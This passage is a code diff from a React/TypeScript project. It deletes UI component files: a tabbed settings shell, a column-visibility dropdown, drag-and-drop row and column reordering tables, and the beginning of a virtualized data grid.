* Multi-section settings layout — only when tabs are provided.
|
||||
* Single-page settings use PageShell + Frame + SettingRow directly.
|
||||
* Preview: https://reui.io/preview/base/settings-16
|
||||
*/
|
||||
|
||||
export interface SettingsTabConfig {
|
||||
id: string
|
||||
to: string
|
||||
label: string
|
||||
icon?: ReactNode
|
||||
}
|
||||
|
||||
interface SettingsShellProps {
|
||||
title?: string
|
||||
description?: string
|
||||
/** Required — no phantom default routes. */
|
||||
tabs: SettingsTabConfig[]
|
||||
}
|
||||
|
||||
export function SettingsShell({
|
||||
title = 'Настройки',
|
||||
description = 'Конфигурация control plane',
|
||||
tabs,
|
||||
}: SettingsShellProps) {
|
||||
const isMobile = useIsMobile()
|
||||
const pathname = useRouterState({ select: (s) => s.location.pathname })
|
||||
|
||||
return (
|
||||
<PageShell>
|
||||
<div className="mx-auto flex w-full max-w-4xl flex-col gap-5">
|
||||
<PageHeader title={title} description={description} />
|
||||
|
||||
<div
|
||||
className={cn(
|
||||
'flex gap-5',
|
||||
isMobile ? 'flex-col' : 'flex-row items-start',
|
||||
)}
|
||||
>
|
||||
{tabs.length > 1 ? (
|
||||
<nav
|
||||
aria-label="Разделы настроек"
|
||||
className={cn(
|
||||
'flex gap-1',
|
||||
isMobile
|
||||
? 'scrollbar-none -mx-1 overflow-x-auto overflow-y-hidden pb-1'
|
||||
: 'w-44 shrink-0 flex-col',
|
||||
)}
|
||||
>
|
||||
{tabs.map((tab) => {
|
||||
const isActive = pathname.startsWith(tab.to)
|
||||
return (
|
||||
<Link
|
||||
key={tab.id}
|
||||
to={tab.to}
|
||||
aria-current={isActive ? 'page' : undefined}
|
||||
className={cn(
|
||||
'flex items-center gap-2 rounded-lg px-3 py-2 text-sm transition-colors',
|
||||
isMobile && 'shrink-0',
|
||||
!isMobile && 'w-full',
|
||||
isActive
|
||||
? 'bg-muted text-foreground font-medium shadow-sm ring-1 ring-border/60'
|
||||
: 'text-muted-foreground hover:bg-muted/60 hover:text-foreground',
|
||||
)}
|
||||
>
|
||||
{tab.icon}
|
||||
{tab.label}
|
||||
</Link>
|
||||
)
|
||||
})}
|
||||
</nav>
|
||||
) : null}
|
||||
|
||||
<div className="min-w-0 flex-1">
|
||||
<Outlet />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</PageShell>
|
||||
)
|
||||
}
|
||||
@@ -1,53 +0,0 @@
|
||||
"use no memo"
|
||||
|
||||
import { ReactElement } from "react"
|
||||
import { getColumnHeaderLabel } from "@/components/reui/data-grid/data-grid"
|
||||
import { Table } from "@tanstack/react-table"
|
||||
|
||||
import {
|
||||
DropdownMenu,
|
||||
DropdownMenuCheckboxItem,
|
||||
DropdownMenuContent,
|
||||
DropdownMenuGroup,
|
||||
DropdownMenuLabel,
|
||||
DropdownMenuTrigger,
|
||||
} from "@evofw/ui/components/dropdown-menu"
|
||||
|
||||
function DataGridColumnVisibility<TData>({
|
||||
table,
|
||||
trigger,
|
||||
}: {
|
||||
table: Table<TData>
|
||||
trigger: ReactElement<Record<string, unknown>>
|
||||
}) {
|
||||
return (
|
||||
<DropdownMenu>
|
||||
<DropdownMenuTrigger render={trigger} />
|
||||
<DropdownMenuContent align="end" className="min-w-[150px]">
|
||||
<DropdownMenuGroup>
|
||||
<DropdownMenuLabel className="font-medium">
|
||||
Toggle Columns
|
||||
</DropdownMenuLabel>
|
||||
{table
|
||||
.getAllColumns()
|
||||
.filter((column) => column.getCanHide())
|
||||
.map((column) => {
|
||||
return (
|
||||
<DropdownMenuCheckboxItem
|
||||
key={column.id}
|
||||
className="capitalize"
|
||||
checked={column.getIsVisible()}
|
||||
onSelect={(event) => event.preventDefault()}
|
||||
onCheckedChange={(value) => column.toggleVisibility(!!value)}
|
||||
>
|
||||
{getColumnHeaderLabel(column)}
|
||||
</DropdownMenuCheckboxItem>
|
||||
)
|
||||
})}
|
||||
</DropdownMenuGroup>
|
||||
</DropdownMenuContent>
|
||||
</DropdownMenu>
|
||||
)
|
||||
}
|
||||
|
||||
export { DataGridColumnVisibility }
|
||||
@@ -1,347 +0,0 @@
|
||||
"use client"
|
||||
"use no memo"
|
||||
|
||||
import {
|
||||
createContext,
|
||||
CSSProperties,
|
||||
memo,
|
||||
ReactNode,
|
||||
useContext,
|
||||
useEffect,
|
||||
useId,
|
||||
useMemo,
|
||||
useRef,
|
||||
useState,
|
||||
} from "react"
|
||||
import { useDataGrid } from "@/components/reui/data-grid/data-grid"
|
||||
import {
|
||||
DataGridTableBase,
|
||||
DataGridTableBody,
|
||||
DataGridTableBodyRow,
|
||||
DataGridTableBodyRowCell,
|
||||
DataGridTableBodyRowExpandded,
|
||||
DataGridTableBodyRowSkeleton,
|
||||
DataGridTableBodyRowSkeletonCell,
|
||||
DataGridTableEmpty,
|
||||
DataGridTableFillBodyCell,
|
||||
DataGridTableFillHeadCell,
|
||||
DataGridTableFoot,
|
||||
DataGridTableHead,
|
||||
DataGridTableHeadRow,
|
||||
DataGridTableHeadRowCell,
|
||||
DataGridTableHeadRowCellResize,
|
||||
DataGridTableRowSpacer,
|
||||
DataGridTableViewport,
|
||||
} from "@/components/reui/data-grid/data-grid-table"
|
||||
import {
|
||||
closestCenter,
|
||||
DndContext,
|
||||
KeyboardSensor,
|
||||
MouseSensor,
|
||||
TouchSensor,
|
||||
UniqueIdentifier,
|
||||
useSensor,
|
||||
useSensors,
|
||||
type DragEndEvent,
|
||||
type Modifier,
|
||||
} from "@dnd-kit/core"
|
||||
import { restrictToVerticalAxis } from "@dnd-kit/modifiers"
|
||||
import {
|
||||
SortableContext,
|
||||
sortableKeyboardCoordinates,
|
||||
useSortable,
|
||||
verticalListSortingStrategy,
|
||||
} from "@dnd-kit/sortable"
|
||||
import { CSS } from "@dnd-kit/utilities"
|
||||
import {
|
||||
Cell,
|
||||
flexRender,
|
||||
HeaderGroup,
|
||||
Row,
|
||||
Table,
|
||||
} from "@tanstack/react-table"
|
||||
|
||||
import { cn } from "@evofw/ui/lib/utils"
|
||||
import { Button } from "@evofw/ui/components/button"
|
||||
import { GripHorizontalIcon } from "lucide-react"
|
||||
|
||||
// Context to share sortable listeners from row to handle
|
||||
type SortableContextValue = ReturnType<typeof useSortable>
|
||||
const SortableRowContext = createContext<Pick<
|
||||
SortableContextValue,
|
||||
"attributes" | "listeners"
|
||||
> | null>(null)
|
||||
|
||||
function DataGridTableDndRowHandle({ className }: { className?: string }) {
|
||||
const context = useContext(SortableRowContext)
|
||||
|
||||
if (!context) {
|
||||
// Fallback if context is not available (shouldn't happen in normal usage)
|
||||
return (
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon-sm"
|
||||
className={cn(
|
||||
"size-7 cursor-grab opacity-70 hover:bg-transparent hover:opacity-100 active:cursor-grabbing",
|
||||
className
|
||||
)}
|
||||
aria-label="Drag to reorder row"
|
||||
disabled
|
||||
>
|
||||
<GripHorizontalIcon aria-hidden="true" />
|
||||
</Button>
|
||||
)
|
||||
}
|
||||
|
||||
return (
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon-sm"
|
||||
className={cn(
|
||||
"size-7 cursor-grab opacity-70 hover:bg-transparent hover:opacity-100 active:cursor-grabbing",
|
||||
className
|
||||
)}
|
||||
aria-label="Drag to reorder row"
|
||||
{...context.attributes}
|
||||
{...context.listeners}
|
||||
>
|
||||
<GripHorizontalIcon aria-hidden="true" />
|
||||
</Button>
|
||||
)
|
||||
}
|
||||
|
||||
function DataGridTableDndRow<TData>({ row }: { row: Row<TData> }) {
|
||||
const {
|
||||
transform,
|
||||
transition,
|
||||
setNodeRef,
|
||||
isDragging,
|
||||
attributes,
|
||||
listeners,
|
||||
} = useSortable({
|
||||
id: row.id,
|
||||
})
|
||||
|
||||
const style: CSSProperties = {
|
||||
transform: CSS.Transform.toString(transform),
|
||||
transition: transition,
|
||||
opacity: isDragging ? 0.8 : 1,
|
||||
zIndex: isDragging ? 1 : 0,
|
||||
position: "relative",
|
||||
cursor: isDragging ? "grabbing" : undefined,
|
||||
}
|
||||
|
||||
return (
|
||||
<SortableRowContext.Provider value={{ attributes, listeners }}>
|
||||
<DataGridTableBodyRow row={row} dndRef={setNodeRef} dndStyle={style}>
|
||||
{row.getVisibleCells().map((cell: Cell<TData, unknown>) => {
|
||||
return (
|
||||
<DataGridTableBodyRowCell cell={cell} key={cell.id}>
|
||||
{flexRender(cell.column.columnDef.cell, cell.getContext())}
|
||||
</DataGridTableBodyRowCell>
|
||||
)
|
||||
})}
|
||||
<DataGridTableFillBodyCell />
|
||||
</DataGridTableBodyRow>
|
||||
{row.getIsExpanded() && <DataGridTableBodyRowExpandded row={row} />}
|
||||
</SortableRowContext.Provider>
|
||||
)
|
||||
}
|
||||
|
||||
function DataGridTableDndRowsBody<TData>({
|
||||
table,
|
||||
dataIds,
|
||||
}: {
|
||||
table: Table<TData>
|
||||
dataIds: UniqueIdentifier[]
|
||||
}) {
|
||||
const { isLoading, props } = useDataGrid()
|
||||
const pagination = table.getState().pagination
|
||||
|
||||
if (props.loadingMode === "skeleton" && isLoading && pagination?.pageSize) {
|
||||
return (
|
||||
<>
|
||||
{Array.from({ length: pagination.pageSize }).map((_, rowIndex) => (
|
||||
<DataGridTableBodyRowSkeleton key={rowIndex}>
|
||||
{table.getVisibleFlatColumns().map((column, colIndex) => {
|
||||
return (
|
||||
<DataGridTableBodyRowSkeletonCell
|
||||
column={column}
|
||||
key={colIndex}
|
||||
>
|
||||
{column.columnDef.meta?.skeleton}
|
||||
</DataGridTableBodyRowSkeletonCell>
|
||||
)
|
||||
})}
|
||||
<DataGridTableFillBodyCell />
|
||||
</DataGridTableBodyRowSkeleton>
|
||||
))}
|
||||
</>
|
||||
)
|
||||
}
|
||||
|
||||
if (!table.getRowModel().rows.length) return <DataGridTableEmpty />
|
||||
|
||||
return (
|
||||
<SortableContext items={dataIds} strategy={verticalListSortingStrategy}>
|
||||
{table.getRowModel().rows.map((row: Row<TData>) => {
|
||||
return <DataGridTableDndRow row={row} key={row.id} />
|
||||
})}
|
||||
</SortableContext>
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Memoized body rows: skip re-renders during active column resize.
|
||||
* Column widths update via CSS variables on the <table> element,
|
||||
* so the browser handles width changes without React re-renders.
|
||||
*/
|
||||
const MemoizedDataGridTableDndRowsBody = memo(
|
||||
DataGridTableDndRowsBody,
|
||||
(_prev, next) => !!next.table.getState().columnSizingInfo.isResizingColumn
|
||||
) as typeof DataGridTableDndRowsBody
|
||||
|
||||
function DataGridTableDndRows<TData>({
|
||||
handleDragEnd,
|
||||
dataIds,
|
||||
footerContent,
|
||||
}: {
|
||||
handleDragEnd: (event: DragEndEvent) => void
|
||||
dataIds: UniqueIdentifier[]
|
||||
footerContent?: ReactNode
|
||||
}) {
|
||||
const { table, props } = useDataGrid()
|
||||
const tableContainerRef = useRef<HTMLDivElement>(null)
|
||||
const [isDraggingRow, setIsDraggingRow] = useState(false)
|
||||
|
||||
const sensors = useSensors(
|
||||
useSensor(MouseSensor, {}),
|
||||
useSensor(TouchSensor, {}),
|
||||
// Keyboard reordering moves one sortable position per keypress instead
|
||||
// of the sensor's raw 25px default.
|
||||
useSensor(KeyboardSensor, {
|
||||
coordinateGetter: sortableKeyboardCoordinates,
|
||||
})
|
||||
)
|
||||
|
||||
useEffect(() => {
|
||||
if (!isDraggingRow) return
|
||||
|
||||
const { body, documentElement } = document
|
||||
const previousBodyCursor = body.style.cursor
|
||||
const previousDocumentCursor = documentElement.style.cursor
|
||||
|
||||
body.style.cursor = "grabbing"
|
||||
documentElement.style.cursor = "grabbing"
|
||||
|
||||
return () => {
|
||||
body.style.cursor = previousBodyCursor
|
||||
documentElement.style.cursor = previousDocumentCursor
|
||||
}
|
||||
}, [isDraggingRow])
|
||||
|
||||
const modifiers = useMemo(() => {
|
||||
const restrictToTableContainer: Modifier = ({
|
||||
transform,
|
||||
draggingNodeRect,
|
||||
}) => {
|
||||
if (!tableContainerRef.current || !draggingNodeRect) {
|
||||
return transform
|
||||
}
|
||||
|
||||
const containerRect = tableContainerRef.current.getBoundingClientRect()
|
||||
const { x, y } = transform
|
||||
|
||||
const minX = containerRect.left - draggingNodeRect.left
|
||||
const maxX = containerRect.right - draggingNodeRect.right
|
||||
const minY = containerRect.top - draggingNodeRect.top
|
||||
const maxY = containerRect.bottom - draggingNodeRect.bottom
|
||||
|
||||
return {
|
||||
...transform,
|
||||
x: Math.max(minX, Math.min(maxX, x)),
|
||||
y: Math.max(minY, Math.min(maxY, y)),
|
||||
}
|
||||
}
|
||||
|
||||
return [restrictToVerticalAxis, restrictToTableContainer]
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<DndContext
|
||||
id={useId()}
|
||||
collisionDetection={closestCenter}
|
||||
modifiers={modifiers}
|
||||
onDragCancel={() => setIsDraggingRow(false)}
|
||||
onDragEnd={(event) => {
|
||||
setIsDraggingRow(false)
|
||||
handleDragEnd(event)
|
||||
}}
|
||||
onDragStart={() => setIsDraggingRow(true)}
|
||||
sensors={sensors}
|
||||
>
|
||||
<DataGridTableViewport
|
||||
viewportRef={tableContainerRef}
|
||||
className={
|
||||
isDraggingRow
|
||||
? "relative cursor-grabbing [&_*]:cursor-grabbing!"
|
||||
: "relative"
|
||||
}
|
||||
>
|
||||
<DataGridTableBase>
|
||||
<DataGridTableHead>
|
||||
{table
|
||||
.getHeaderGroups()
|
||||
.map((headerGroup: HeaderGroup<TData>, index) => {
|
||||
return (
|
||||
<DataGridTableHeadRow key={index} rowId={headerGroup.id}>
|
||||
{headerGroup.headers.map((header, index) => {
|
||||
const { column } = header
|
||||
|
||||
return (
|
||||
<DataGridTableHeadRowCell header={header} key={index}>
|
||||
{header.isPlaceholder ? null : props.tableLayout
|
||||
?.columnsResizable && column.getCanResize() ? (
|
||||
<div className="truncate">
|
||||
{flexRender(
|
||||
header.column.columnDef.header,
|
||||
header.getContext()
|
||||
)}
|
||||
</div>
|
||||
) : (
|
||||
flexRender(
|
||||
header.column.columnDef.header,
|
||||
header.getContext()
|
||||
)
|
||||
)}
|
||||
{props.tableLayout?.columnsResizable &&
|
||||
column.getCanResize() && (
|
||||
<DataGridTableHeadRowCellResize header={header} />
|
||||
)}
|
||||
</DataGridTableHeadRowCell>
|
||||
)
|
||||
})}
|
||||
<DataGridTableFillHeadCell />
|
||||
</DataGridTableHeadRow>
|
||||
)
|
||||
})}
|
||||
</DataGridTableHead>
|
||||
|
||||
{(props.tableLayout?.stripped || !props.tableLayout?.rowBorder) && (
|
||||
<DataGridTableRowSpacer />
|
||||
)}
|
||||
|
||||
<DataGridTableBody>
|
||||
<MemoizedDataGridTableDndRowsBody table={table} dataIds={dataIds} />
|
||||
</DataGridTableBody>
|
||||
|
||||
{footerContent && (
|
||||
<DataGridTableFoot>{footerContent}</DataGridTableFoot>
|
||||
)}
|
||||
</DataGridTableBase>
|
||||
</DataGridTableViewport>
|
||||
</DndContext>
|
||||
)
|
||||
}
|
||||
|
||||
export { DataGridTableDndRowHandle, DataGridTableDndRows }
|
||||
@@ -1,349 +0,0 @@
|
||||
"use no memo"
|
||||
|
||||
import {
|
||||
CSSProperties,
|
||||
Fragment,
|
||||
memo,
|
||||
ReactNode,
|
||||
useEffect,
|
||||
useId,
|
||||
useMemo,
|
||||
useRef,
|
||||
useState,
|
||||
} from "react"
|
||||
import { useDataGrid } from "@/components/reui/data-grid/data-grid"
|
||||
import {
|
||||
DataGridTableBase,
|
||||
DataGridTableBody,
|
||||
DataGridTableBodyRow,
|
||||
DataGridTableBodyRowCell,
|
||||
DataGridTableBodyRowExpandded,
|
||||
DataGridTableBodyRowSkeleton,
|
||||
DataGridTableBodyRowSkeletonCell,
|
||||
DataGridTableEmpty,
|
||||
DataGridTableFillBodyCell,
|
||||
DataGridTableFillHeadCell,
|
||||
DataGridTableFoot,
|
||||
DataGridTableHead,
|
||||
DataGridTableHeadRow,
|
||||
DataGridTableHeadRowCell,
|
||||
DataGridTableHeadRowCellResize,
|
||||
DataGridTableRowSpacer,
|
||||
DataGridTableViewport,
|
||||
} from "@/components/reui/data-grid/data-grid-table"
|
||||
import {
|
||||
closestCenter,
|
||||
DndContext,
|
||||
KeyboardSensor,
|
||||
Modifier,
|
||||
MouseSensor,
|
||||
TouchSensor,
|
||||
useSensor,
|
||||
useSensors,
|
||||
type DragEndEvent,
|
||||
} from "@dnd-kit/core"
|
||||
import {
|
||||
horizontalListSortingStrategy,
|
||||
SortableContext,
|
||||
sortableKeyboardCoordinates,
|
||||
useSortable,
|
||||
} from "@dnd-kit/sortable"
|
||||
import { CSS } from "@dnd-kit/utilities"
|
||||
import {
|
||||
Cell,
|
||||
flexRender,
|
||||
Header,
|
||||
HeaderGroup,
|
||||
Row,
|
||||
Table,
|
||||
} from "@tanstack/react-table"
|
||||
|
||||
import { Button } from "@evofw/ui/components/button"
|
||||
import { GripVerticalIcon } from "lucide-react"
|
||||
|
||||
function DataGridTableDndHeader<TData>({
|
||||
header,
|
||||
}: {
|
||||
header: Header<TData, unknown>
|
||||
}) {
|
||||
const { props } = useDataGrid()
|
||||
const { column } = header
|
||||
|
||||
// Check if column ordering is enabled for this column
|
||||
const canOrder =
|
||||
(column.columnDef as { enableColumnOrdering?: boolean })
|
||||
.enableColumnOrdering !== false
|
||||
|
||||
const {
|
||||
attributes,
|
||||
isDragging,
|
||||
listeners,
|
||||
setNodeRef,
|
||||
transform,
|
||||
transition,
|
||||
} = useSortable({
|
||||
id: header.column.id,
|
||||
})
|
||||
|
||||
const style: CSSProperties = {
|
||||
opacity: isDragging ? 0.8 : 1,
|
||||
position: "relative",
|
||||
transform: CSS.Translate.toString(transform),
|
||||
transition,
|
||||
cursor: isDragging ? "grabbing" : undefined,
|
||||
whiteSpace: "nowrap",
|
||||
width: props.tableLayout?.columnsResizable
|
||||
? `calc(var(--header-${header.id}-size) * 1px)`
|
||||
: header.column.getSize(),
|
||||
zIndex: isDragging ? 1 : 0,
|
||||
}
|
||||
|
||||
return (
|
||||
<DataGridTableHeadRowCell
|
||||
header={header}
|
||||
dndStyle={style}
|
||||
dndRef={setNodeRef}
|
||||
>
|
||||
<div className="flex items-center justify-start gap-0.5">
|
||||
{canOrder && (
|
||||
<Button
|
||||
size="icon-sm"
|
||||
variant="ghost"
|
||||
className={`-ms-2 size-6 ${isDragging ? "cursor-grabbing" : "cursor-grab active:cursor-grabbing"}`}
|
||||
{...attributes}
|
||||
{...listeners}
|
||||
aria-label="Drag to reorder"
|
||||
>
|
||||
<GripVerticalIcon className="opacity-60 hover:opacity-100" aria-hidden="true" />
|
||||
</Button>
|
||||
)}
|
||||
<div className="grow">
|
||||
{header.isPlaceholder
|
||||
? null
|
||||
: flexRender(header.column.columnDef.header, header.getContext())}
|
||||
</div>
|
||||
{props.tableLayout?.columnsResizable && column.getCanResize() && (
|
||||
<DataGridTableHeadRowCellResize header={header} />
|
||||
)}
|
||||
</div>
|
||||
</DataGridTableHeadRowCell>
|
||||
)
|
||||
}
|
||||
|
||||
function DataGridTableDndCell<TData>({ cell }: { cell: Cell<TData, unknown> }) {
|
||||
const { props } = useDataGrid()
|
||||
const { isDragging, setNodeRef, transform, transition } = useSortable({
|
||||
id: cell.column.id,
|
||||
})
|
||||
|
||||
const style: CSSProperties = {
|
||||
opacity: isDragging ? 0.8 : 1,
|
||||
position: "relative",
|
||||
transform: CSS.Translate.toString(transform),
|
||||
transition,
|
||||
cursor: isDragging ? "grabbing" : undefined,
|
||||
width: props.tableLayout?.columnsResizable
|
||||
? `calc(var(--col-${cell.column.id}-size) * 1px)`
|
||||
: cell.column.getSize(),
|
||||
zIndex: isDragging ? 1 : 0,
|
||||
}
|
||||
|
||||
return (
|
||||
<DataGridTableBodyRowCell cell={cell} dndStyle={style} dndRef={setNodeRef}>
|
||||
{flexRender(cell.column.columnDef.cell, cell.getContext())}
|
||||
</DataGridTableBodyRowCell>
|
||||
)
|
||||
}
|
||||
|
||||
function DataGridTableDndBodyRows<TData>({ table }: { table: Table<TData> }) {
|
||||
const { isLoading, props } = useDataGrid()
|
||||
const pagination = table.getState().pagination
|
||||
|
||||
if (props.loadingMode === "skeleton" && isLoading && pagination?.pageSize) {
|
||||
return (
|
||||
<>
|
||||
{Array.from({ length: pagination.pageSize }).map((_, rowIndex) => (
|
||||
<DataGridTableBodyRowSkeleton key={rowIndex}>
|
||||
{table.getVisibleFlatColumns().map((column, colIndex) => {
|
||||
return (
|
||||
<DataGridTableBodyRowSkeletonCell
|
||||
column={column}
|
||||
key={colIndex}
|
||||
>
|
||||
{column.columnDef.meta?.skeleton}
|
||||
</DataGridTableBodyRowSkeletonCell>
|
||||
)
|
||||
})}
|
||||
<DataGridTableFillBodyCell />
|
||||
</DataGridTableBodyRowSkeleton>
|
||||
))}
|
||||
</>
|
||||
)
|
||||
}
|
||||
|
||||
if (!table.getRowModel().rows.length) return <DataGridTableEmpty />
|
||||
|
||||
return (
|
||||
<>
|
||||
{table.getRowModel().rows.map((row: Row<TData>) => {
|
||||
return (
|
||||
<Fragment key={row.id}>
|
||||
<DataGridTableBodyRow row={row}>
|
||||
<SortableContext
|
||||
items={table.getState().columnOrder}
|
||||
strategy={horizontalListSortingStrategy}
|
||||
>
|
||||
{row.getVisibleCells().map((cell: Cell<TData, unknown>) => (
|
||||
<DataGridTableDndCell cell={cell} key={cell.id} />
|
||||
))}
|
||||
</SortableContext>
|
||||
<DataGridTableFillBodyCell />
|
||||
</DataGridTableBodyRow>
|
||||
{row.getIsExpanded() && <DataGridTableBodyRowExpandded row={row} />}
|
||||
</Fragment>
|
||||
)
|
||||
})}
|
||||
</>
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Memoized body rows: skip re-renders during active column resize.
|
||||
* Column widths update via CSS variables on the <table> element,
|
||||
* so the browser handles width changes without React re-renders.
|
||||
*/
|
||||
const MemoizedDataGridTableDndBodyRows = memo(
|
||||
DataGridTableDndBodyRows,
|
||||
(_prev, next) => !!next.table.getState().columnSizingInfo.isResizingColumn
|
||||
) as typeof DataGridTableDndBodyRows
|
||||
|
||||
function DataGridTableDnd<TData>({
|
||||
handleDragEnd,
|
||||
footerContent,
|
||||
}: {
|
||||
handleDragEnd: (event: DragEndEvent) => void
|
||||
footerContent?: ReactNode
|
||||
}) {
|
||||
const { table, props } = useDataGrid()
|
||||
const containerRef = useRef<HTMLDivElement>(null)
|
||||
const [isDraggingColumn, setIsDraggingColumn] = useState(false)
|
||||
|
||||
const sensors = useSensors(
|
||||
useSensor(MouseSensor, {}),
|
||||
useSensor(TouchSensor, {}),
|
||||
// Keyboard reordering moves one sortable position per keypress instead
|
||||
// of the sensor's raw 25px default.
|
||||
useSensor(KeyboardSensor, {
|
||||
coordinateGetter: sortableKeyboardCoordinates,
|
||||
})
|
||||
)
|
||||
|
||||
useEffect(() => {
|
||||
if (!isDraggingColumn) return
|
||||
|
||||
const { body, documentElement } = document
|
||||
const previousBodyCursor = body.style.cursor
|
||||
const previousDocumentCursor = documentElement.style.cursor
|
||||
|
||||
body.style.cursor = "grabbing"
|
||||
documentElement.style.cursor = "grabbing"
|
||||
|
||||
return () => {
|
||||
body.style.cursor = previousBodyCursor
|
||||
documentElement.style.cursor = previousDocumentCursor
|
||||
}
|
||||
}, [isDraggingColumn])
|
||||
|
||||
// Custom modifier to restrict dragging within table bounds with edge offset
|
||||
const modifiers = useMemo(() => {
|
||||
const restrictToTableBounds: Modifier = ({
|
||||
draggingNodeRect,
|
||||
transform,
|
||||
}) => {
|
||||
if (!draggingNodeRect || !containerRef.current) {
|
||||
return { ...transform, y: 0 }
|
||||
}
|
||||
|
||||
const containerRect = containerRef.current.getBoundingClientRect()
|
||||
const edgeOffset = 0
|
||||
|
||||
const minX = containerRect.left - draggingNodeRect.left - edgeOffset
|
||||
const maxX =
|
||||
containerRect.right -
|
||||
draggingNodeRect.left -
|
||||
draggingNodeRect.width +
|
||||
edgeOffset
|
||||
|
||||
return {
|
||||
...transform,
|
||||
x: Math.min(Math.max(transform.x, minX), maxX),
|
||||
y: 0, // Lock vertical movement
|
||||
}
|
||||
}
|
||||
|
||||
return [restrictToTableBounds]
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<DndContext
|
||||
collisionDetection={closestCenter}
|
||||
id={useId()}
|
||||
modifiers={modifiers}
|
||||
onDragCancel={() => setIsDraggingColumn(false)}
|
||||
onDragEnd={(event) => {
|
||||
setIsDraggingColumn(false)
|
||||
handleDragEnd(event)
|
||||
}}
|
||||
onDragStart={() => setIsDraggingColumn(true)}
|
||||
sensors={sensors}
|
||||
>
|
||||
<DataGridTableViewport
|
||||
viewportRef={containerRef}
|
||||
className={
|
||||
isDraggingColumn
|
||||
? "relative cursor-grabbing [&_*]:cursor-grabbing!"
|
||||
: "relative"
|
||||
}
|
||||
>
|
||||
<DataGridTableBase>
|
||||
<DataGridTableHead>
|
||||
{table
|
||||
.getHeaderGroups()
|
||||
.map((headerGroup: HeaderGroup<TData>, index) => {
|
||||
return (
|
||||
<DataGridTableHeadRow key={index} rowId={headerGroup.id}>
|
||||
<SortableContext
|
||||
items={table.getState().columnOrder}
|
||||
strategy={horizontalListSortingStrategy}
|
||||
>
|
||||
{headerGroup.headers.map((header) => (
|
||||
<DataGridTableDndHeader
|
||||
header={header}
|
||||
key={header.id}
|
||||
/>
|
||||
))}
|
||||
</SortableContext>
|
||||
<DataGridTableFillHeadCell />
|
||||
</DataGridTableHeadRow>
|
||||
)
|
||||
})}
|
||||
</DataGridTableHead>
|
||||
|
||||
{(props.tableLayout?.stripped || !props.tableLayout?.rowBorder) && (
|
||||
<DataGridTableRowSpacer />
|
||||
)}
|
||||
|
||||
<DataGridTableBody>
|
||||
<MemoizedDataGridTableDndBodyRows table={table} />
|
||||
</DataGridTableBody>
|
||||
|
||||
{footerContent && (
|
||||
<DataGridTableFoot>{footerContent}</DataGridTableFoot>
|
||||
)}
|
||||
</DataGridTableBase>
|
||||
</DataGridTableViewport>
|
||||
</DndContext>
|
||||
)
|
||||
}
|
||||
|
||||
export { DataGridTableDnd }
|
||||
@@ -1,634 +0,0 @@
|
||||
"use client"
|
||||
"use no memo"
|
||||
|
||||
import {
|
||||
CSSProperties,
|
||||
memo,
|
||||
ReactNode,
|
||||
useCallback,
|
||||
useEffect,
|
||||
useRef,
|
||||
useState,
|
||||
} from "react"
|
||||
import { useDataGrid } from "@/components/reui/data-grid/data-grid"
|
||||
import {
|
||||
DataGridTableBase,
|
||||
DataGridTableBody,
|
||||
DataGridTableEmpty,
|
||||
DataGridTableFillBodyCell,
|
||||
DataGridTableFillHeadCell,
|
||||
DataGridTableFoot,
|
||||
DataGridTableHead,
|
||||
DataGridTableHeadRow,
|
||||
DataGridTableHeadRowCell,
|
||||
DataGridTableHeadRowCellResize,
|
||||
DataGridTableRenderedRow,
|
||||
DataGridTableRowSpacer,
|
||||
DataGridTableViewport,
|
||||
getDataGridScrollAreaViewport,
|
||||
getDataGridTableMergedHeaderGroups,
|
||||
getDataGridTableRowSections,
|
||||
getPinningStyles,
|
||||
hasDataGridTableRightPinnedColumns,
|
||||
} from "@/components/reui/data-grid/data-grid-table"
|
||||
import { Column, flexRender, Row, Table } from "@tanstack/react-table"
|
||||
import {
|
||||
useVirtualizer,
|
||||
VirtualItem,
|
||||
Virtualizer,
|
||||
VirtualizerOptions,
|
||||
} from "@tanstack/react-virtual"
|
||||
|
||||
import { cn } from "@evofw/ui/lib/utils"
|
||||
import { Spinner } from "@evofw/ui/components/spinner"
|
||||
|
||||
type DataGridTableVirtualScrollElements = {
|
||||
containerElement: HTMLDivElement | null
|
||||
scrollElement: HTMLElement | null
|
||||
}
|
||||
|
||||
type DataGridTableVirtualizerInstance = Virtualizer<
|
||||
HTMLElement,
|
||||
HTMLTableRowElement
|
||||
>
|
||||
|
||||
type DataGridTableVirtualizerOptions<TData> = Omit<
|
||||
VirtualizerOptions<HTMLElement, HTMLTableRowElement>,
|
||||
"count" | "estimateSize" | "getItemKey" | "getScrollElement"
|
||||
> & {
|
||||
estimateSize?: (index: number, row: Row<TData>) => number
|
||||
getItemKey?: (index: number, row: Row<TData>) => string | number
|
||||
getScrollElement?: (
|
||||
elements: DataGridTableVirtualScrollElements
|
||||
) => HTMLElement | null
|
||||
}
|
||||
|
||||
interface DataGridTableVirtualProps<TData> {
|
||||
height?: number | string
|
||||
estimateSize?: number
|
||||
overscan?: number
|
||||
footerContent?: ReactNode
|
||||
renderHeader?: boolean
|
||||
onFetchMore?: () => void
|
||||
isFetchingMore?: boolean
|
||||
hasMore?: boolean
|
||||
fetchMoreOffset?: number
|
||||
virtualizerOptions?: DataGridTableVirtualizerOptions<TData>
|
||||
}
|
||||
|
||||
interface VirtualBodyProps<TData> {
|
||||
table: Table<TData>
|
||||
topRows: Row<TData>[]
|
||||
centerRows: Row<TData>[]
|
||||
bottomRows: Row<TData>[]
|
||||
virtualItems: VirtualItem[]
|
||||
totalSize: number
|
||||
isVirtualizationEnabled: boolean
|
||||
isInfiniteMode: boolean
|
||||
isFetchingMore: boolean
|
||||
hasMore?: boolean
|
||||
loadingMoreMessage: ReactNode
|
||||
allRowsLoadedMessage: ReactNode
|
||||
measureRowRef?: (element: HTMLTableRowElement | null) => void
|
||||
}
|
||||
|
||||
function DataGridTableVirtualPinnedPlaceholderCell<TData>({
|
||||
column,
|
||||
}: {
|
||||
column: Column<TData>
|
||||
}) {
|
||||
const { props } = useDataGrid()
|
||||
const isPinned = column.getIsPinned()
|
||||
const isLastLeftPinned = isPinned === "left" && column.getIsLastColumn("left")
|
||||
const isFirstRightPinned =
|
||||
isPinned === "right" && column.getIsFirstColumn("right")
|
||||
|
||||
return (
|
||||
<td
|
||||
aria-hidden="true"
|
||||
style={{
|
||||
